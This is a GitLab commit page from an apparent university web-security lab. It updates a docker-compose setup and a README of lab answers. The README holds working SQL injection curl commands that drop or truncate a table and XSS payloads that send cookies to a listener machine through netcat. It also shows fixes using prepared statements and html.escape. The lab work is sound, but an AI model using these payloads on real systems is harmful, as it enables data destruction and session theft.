Skip to content
Snippets Groups Projects
Commit 1661a11c authored by SelimLakhdar&MohamedAbdullah's avatar SelimLakhdar&MohamedAbdullah
Browse files

final

parent 255ccf20
No related branches found
No related tags found
No related merge requests found
...@@ -3,7 +3,7 @@ db: ...@@ -3,7 +3,7 @@ db:
up: db up: db
sleep 10 sleep 10
docker-compose -f ./deployments/docker-compose.yml up -d web web2 docker-compose -f ./deployments/docker-compose.yml up -d web_vul web_sql_correct web_xss
down: down:
docker-compose -f ./deployments/docker-compose.yml down docker-compose -f ./deployments/docker-compose.yml down
...@@ -25,7 +25,7 @@ services: ...@@ -25,7 +25,7 @@ services:
isi: isi:
ipv4_address: "10.1.0.2" ipv4_address: "10.1.0.2"
web: web_vul:
image: isi2_web:0.1.0 image: isi2_web:0.1.0
restart: always restart: always
build: build:
...@@ -40,7 +40,7 @@ services: ...@@ -40,7 +40,7 @@ services:
isi: isi:
ipv4_address: "10.1.0.3" ipv4_address: "10.1.0.3"
web2: web_sql_correct:
image: isi2_web_correct:0.1.0 image: isi2_web_correct:0.1.0
restart: always restart: always
build: build:
...@@ -55,7 +55,7 @@ services: ...@@ -55,7 +55,7 @@ services:
isi: isi:
ipv4_address: "10.1.0.5" ipv4_address: "10.1.0.5"
web3: web_xss:
image: isi2_web_xss:0.1.0 image: isi2_web_xss:0.1.0
restart: always restart: always
build: build:
...@@ -68,7 +68,7 @@ services: ...@@ -68,7 +68,7 @@ services:
- db - db
networks: networks:
isi: isi:
ipv4_address: "10.1.0.5" ipv4_address: "10.1.0.6"
adminer: adminer:
image: adminer image: adminer
......
...@@ -16,50 +16,70 @@ ...@@ -16,50 +16,70 @@
* Commande curl qui bypass la vérification * Commande curl qui bypass la vérification
```
- curl -X POST -d "chaine=Mohamed" http://172.28.101.47:8080/ - curl -X POST -d "chaine=Mohamed" http://172.28.101.47:8080/
- curl -X POST -d "chaine=Mohamed@Selim" http://172.28.101.47:8080/ - curl -X POST -d "chaine=Mohamed@Selim" http://172.28.101.47:8080/
```
## Question 3 ## Question 3
* Votre commande curl pour effacer la table (V1) * Votre commande curl pour effacer la table (V1)
```
- curl -X POST -d "chaine=%22%29%3B+DROP+TABLE+chaines%3B--" http://172.28.101.47:8080/
- curl -X POST -d "chaine=%22%29%3B+TRUNCATE+TABLE+chaines%3B--" http://172.28.101.47:8080/ - curl -X POST -d "chaine=%22%29%3B+TRUNCATE+TABLE+chaines%3B--" http://172.28.101.47:8080/
- curl -X POST -d 'chaine=");+TRUNCATE+TABLE+chaines%3B--' http://172.28.101.47:8080/ - curl -X POST -d 'chaine=");+TRUNCATE+TABLE+chaines%3B--' http://172.28.101.47:8080/
- curl -X POST -d 'chaine=");+DROP+TABLE+chaines%3B--' http://172.28.101.47:8080/
```
* commande pour bypass le champ who * commande pour bypass le champ who
```
- curl -X POST -d "chaine=hacked','000000')#" http://172.28.101.47:8080/ - curl -X POST -d "chaine=hacked','000000')#" http://172.28.101.47:8080/
```
* Expliquez comment obtenir des informations sur une autre table * Expliquez comment obtenir des informations sur une autre table
- Les informations sur les tables d'une DB sont stockées dans la table information_schema. - Il suffit d'échapper la commande SQL et de rajouter un SELECT * FROM othertable.
- De plus on sait que MySQL crée une table information_schema qui garde toutes les infos sur une Table.
```
- curl -X POST -d "chaine=hacked','000000')+AND+SELECT+*+FROM+chaines2#" http://172.28.101.47:8080/ - curl -X POST -d "chaine=hacked','000000')+AND+SELECT+*+FROM+chaines2#" http://172.28.101.47:8080/
```
## Question 4 ## Question 4
Rendre un fichier server_correct.py avec la correction de la faille de sécurité. Expliquez comment vous avez corrigé la faille. Rendre un fichier server_correct.py avec la correction de la faille de sécurité. Expliquez comment vous avez corrigé la faille.
- Il faut utiliser des rêquetes préparées. - Il faut utiliser des rêquetes préparées.
- Grâce à la fonction cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
```
requete = """INSERT INTO chaines (txt,who) VALUES (%s,%s)"""
cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip])
```
## Question 5 ## Question 5
* Commande curl pour afficher une fenetre de dialog. * Commande curl pour afficher une fenetre de dialog.
```
- curl -X POST -d "chaine=<script>alert('bonjour')</script>" http://172.28.101.47:8080/ - curl -X POST -d "chaine=<script>alert('bonjour')</script>" http://172.28.101.47:8080/
```
* Commande curl pour lire les cookies * Commande curl pour lire les cookies
```
- curl -X POST -d "chaine=<script>alert(document.cookie)</script>" http://172.28.101.47:8080/ - curl -X POST -d "chaine=<script>alert(document.cookie)</script>" http://172.28.101.47:8080/
- curl -X POST -d "chaine=<script>document.cookie="TOKEN=SECRET"</script>" http://172.28.101.47:8080/ ```
- curl -X POST -d "chaine=<script>document.write('<img src=http://172.28.101.111:6666?c='+ escape(document.cookie) + '>');</script>" http://172.28.101.47:8080
* Commande curl pour voler les cookies
```
- nc -l -p 6666 (sur la machine 172.28.101.111)
- curl -X POST -d "chaine=<script>location.replace(\"http://172.28.101.111:6666?c=\"+document.cookie)</script>" http://172.28.101.47:8080
```
## Question 6 ## Question 6
Rendre un fichier server_xss.py avec la correction de la faille. Expliquez la demarche que vous avez suivi. Rendre un fichier server_xss.py avec la correction de la faille. Expliquez la demarche que vous avez suivi.
- Il faut utiliser échapper les caractères spéciaux grâce à html.escape() - Il faut échapper les caractères spéciaux grâce à html.escape()
...@@ -3,6 +3,7 @@ ...@@ -3,6 +3,7 @@
import mysql.connector import mysql.connector
import cherrypy import cherrypy
import config import config
import html
class VulnerableApp(object): class VulnerableApp(object):
def __init__(self): def __init__(self):
...@@ -20,7 +21,7 @@ class VulnerableApp(object): ...@@ -20,7 +21,7 @@ class VulnerableApp(object):
chaines = [] chaines = []
cursor.execute("SELECT txt,who FROM chaines"); cursor.execute("SELECT txt,who FROM chaines");
for row in cursor.fetchall(): for row in cursor.fetchall():
chaines.append(html.escape(row[0]) + " envoye par: " + row[1]) chaines.append(row[0] + " envoye par: " + row[1])
cursor.close() cursor.close()
return ''' return '''
...@@ -36,7 +37,7 @@ Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans ...@@ -36,7 +37,7 @@ Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans
<p> <p>
Liste des chaines actuellement insérées: Liste des chaines actuellement insérées:
<ul> <ul>
'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+''' '''+"\n".join(["<li>" + html.escape(s) + "</li>" for s in chaines])+'''
</ul> </ul>
</p> </p>
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment